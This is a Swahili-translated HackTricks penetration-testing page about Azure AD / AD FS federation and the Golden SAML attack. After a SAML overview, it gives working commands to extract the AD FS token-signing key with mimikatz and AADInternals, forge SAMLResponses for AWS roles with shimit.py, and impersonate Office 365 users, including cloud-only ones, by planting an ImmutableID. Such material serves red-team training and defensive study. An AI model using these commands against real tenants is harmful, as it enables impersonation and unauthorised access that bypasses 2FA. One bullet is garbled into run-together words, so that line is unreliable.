Az - Federation

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalamu wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Kutoka kwa nyaraka:Umoja wa Mataifa ni mkusanyiko wa madokezo ambayo yameanzisha imani. Kiwango cha imani kinaweza kutofautiana, lakini kawaida ni pamoja na uthibitisho na mara nyingi ni pamoja na idhini. Umoja wa kawaida unaweza kujumuisha idadi ya mashirika ambayo yameanzisha imani kwa upatikanaji wa pamoja wa rasilimali.

Unaweza kuunganisha umoja wa mataifa yako ya ndani na Azure AD na kutumia umoja huu kwa uthibitisho na idhini. Njia hii ya kuingia inahakikisha kuwa uthibitisho wa mtumiaji wote unatokea kwenye mazingira ya ndani. Njia hii inaruhusu wakurugenzi kutekeleza viwango vya udhibiti wa upatikanaji zaidi. Umoja na AD FS na PingFederate inapatikana.

Kimsingi, katika Umoja wa Mataifa, uthibitisho wote unatokea katika mazingira ya ndani na mtumiaji anapata uzoefu wa SSO katika mazingira yote yanayotegemewa. Hivyo, watumiaji wanaweza kupata programu za buluu kwa kutumia vitambulisho vyao vya ndani.

Lugha ya Alama ya Uthibitisho (SAML) hutumiwa kwa kubadilishana uthibitisho wote na habari za idhini kati ya watoa huduma.

Katika usanidi wowote wa umoja kuna pande tatu:

  • Mtumiaji au Mteja

  • Mtoa Kitambulisho (IdP)

  • Mtoa Huduma (SP)

(Picha kutoka https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Kwanza, programu (Mtoa Huduma au SP, kama konsoli ya AWS au mteja wa wavuti wa vSphere) inafikiwa na mtumiaji. Hatua hii inaweza kupuuzwa, ikiongoza mteja moja kwa moja kwa IdP (Mtoa Kitambulisho) inategemea utekelezaji maalum.

  2. Kisha, SP inatambua IdP sahihi (k.m., AD FS, Okta) kwa uthibitisho wa mtumiaji. Kisha inatengeneza SAML (Lugha ya Alama ya Uthibitisho) ya AuthnRequest na kumrejesha mteja kwa IdP iliyochaguliwa.

  3. IdP inachukua, kuthibitisha mtumiaji. Baada ya uthibitisho, SAMLResponse inatengenezwa na IdP na kusambazwa kwa SP kupitia mtumiaji.

  4. Hatimaye, SP inachambua SAMLResponse. Ikiwa inathibitishwa kwa mafanikio, ikimaanisha uhusiano wa imani na IdP, mtumiaji anapewa upatikanaji. Hii inamaanisha kukamilika kwa mchakato wa kuingia, kuruhusu mtumiaji kutumia huduma.

Ikiwa unataka kujifunza zaidi kuhusu uthibitisho wa SAML na mashambulizi ya kawaida endelea:

Kubadilisha

  • AD FS ni mfano wa kitambulisho cha msingi wa madai.

  • "..madai ni taarifa tu (kwa mfano, jina, kitambulisho, kikundi), zilizotolewa kuhusu watumiaji, ambazo hutumiwa hasa kwa kuidhinisha upatikanaji wa programu zinazotegemea madai zilizoko popote kwenye Mtandao."

  • Madai kwa mtumiaji huandikwa ndani ya alama za SAML na kisha hutiliwa saini kutoa usiri na IdP.

  • Mtumiaji anatambuliwa na ImmutableID. Ni wa kipekee ulimwenguni na hifadhiwa katika Azure AD.

  • TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe mtumiaji na/au inaweza kuletwa kutoka kwa GUID ya mtumiaji.

Shambulio la Golden SAML:

Golden SAML

Mchakato ambapo Mtoa Kitambulisho (IdP) hutoa SAMLResponse kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, jibu linaweza kuwa limeandikwa au kufichwa kwa kutumia ufunguo wa faragha wa IdP. Mchakato huu huwezesha Mtoa Huduma (SP) kuthibitisha uhalali wa SAMLResponse, ikidhibitisha kwamba kweli ilitolewa na IdP anayeaminiwa.

Unaweza kulinganisha na shambulio la tiketi ya dhahabu, ambapo ufunguo unaothibitisha utambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, ufunguo wa faragha wa kusaini cheti kwa Golden SAML) unaweza kubadilishwa kwa kuiga kitu cha uthibitisho (TGT au SAMLResponse). Hii inaruhusu udanganyifu wa mtumiaji yeyote, kutoa upatikanaji usioruhusiwa kwa SP.

Golden SAMLs hutoa faida fulani:

  • Wanaweza kuundwa kijijini, bila haja ya kuwa sehemu ya uwanja au umoja unaohusika.

  • Bado wanafanya kazi hata na uthibitishaji wa Hatua Mbili (2FA) umewezeshwa.

  • Ufunguo wa faragha wa kusaini cheti haujirejelei moja kwa moja.

  • Kubadilisha nenosiri la mtumiaji haimbatilishi SAML iliyoundwa tayari.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) ni huduma ya Microsoft inayowezesha ubadilishanaji salama wa habari za kitambulisho kati ya washirika wa biashara walioaminiwa (umoja). Kimsingi inaruhusu huduma ya uwanja kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya umoja.

Kwa AWS kuamini uwanja ulioshambuliwa (katika umoja), udhaifu huu unaweza kutumiwa kwa uwezekano wa kupata ruhusa yoyote katika mazingira ya AWS. Shambulio linahitaji ufunguo wa faragha uliotumiwa kusaini vitu vya SAML, sawa na kuhitaji KRBTGT katika shambulio la tiketi ya dhahabu. Kupata akaunti ya mtumiaji wa AD FS kunatosha kupata ufunguo huu wa faragha.

Mahitaji ya kutekeleza shambulio la Golden SAML ni pamoja na:

  • Ufunguo wa faragha wa kusaini cheti

  • Cheti cha umma cha IdP

  • Jina la IdP

  • Jina la jukumu (jukumu la kudai)

  • Jina la uwanja\jina la mtumiaji

  • Jina la kikao cha jukumu katika AWS

  • Kitambulisho cha akaunti ya Amazon

Vitu vilivyoandikwa kwa herufi nene ni lazima. Vingine vinaweza kujazwa kama inavyotaka.

Ili kupata ufunguo wa faragha, upatikanaji wa akaunti ya mtumiaji wa AD FS ni muhimu. Kutoka hapo, ufunguo wa faragha unaweza kuchimbuliwa kutoka kwa hifadhi ya kibinafsi kwa kutumia zana kama mimikatz. Ili kukusanya habari zingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukizingatia kuwa umelogiwa kama mtumiaji wa ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Na taarifa zote, inawezekana kusahau SAMLResponse halali kama mtumiaji unayetaka kujifanya kutumia shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Pia niwezekana kuunda ImmutableID ya watumiaji wa wingu pekee na kujifanya kuwa wao

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated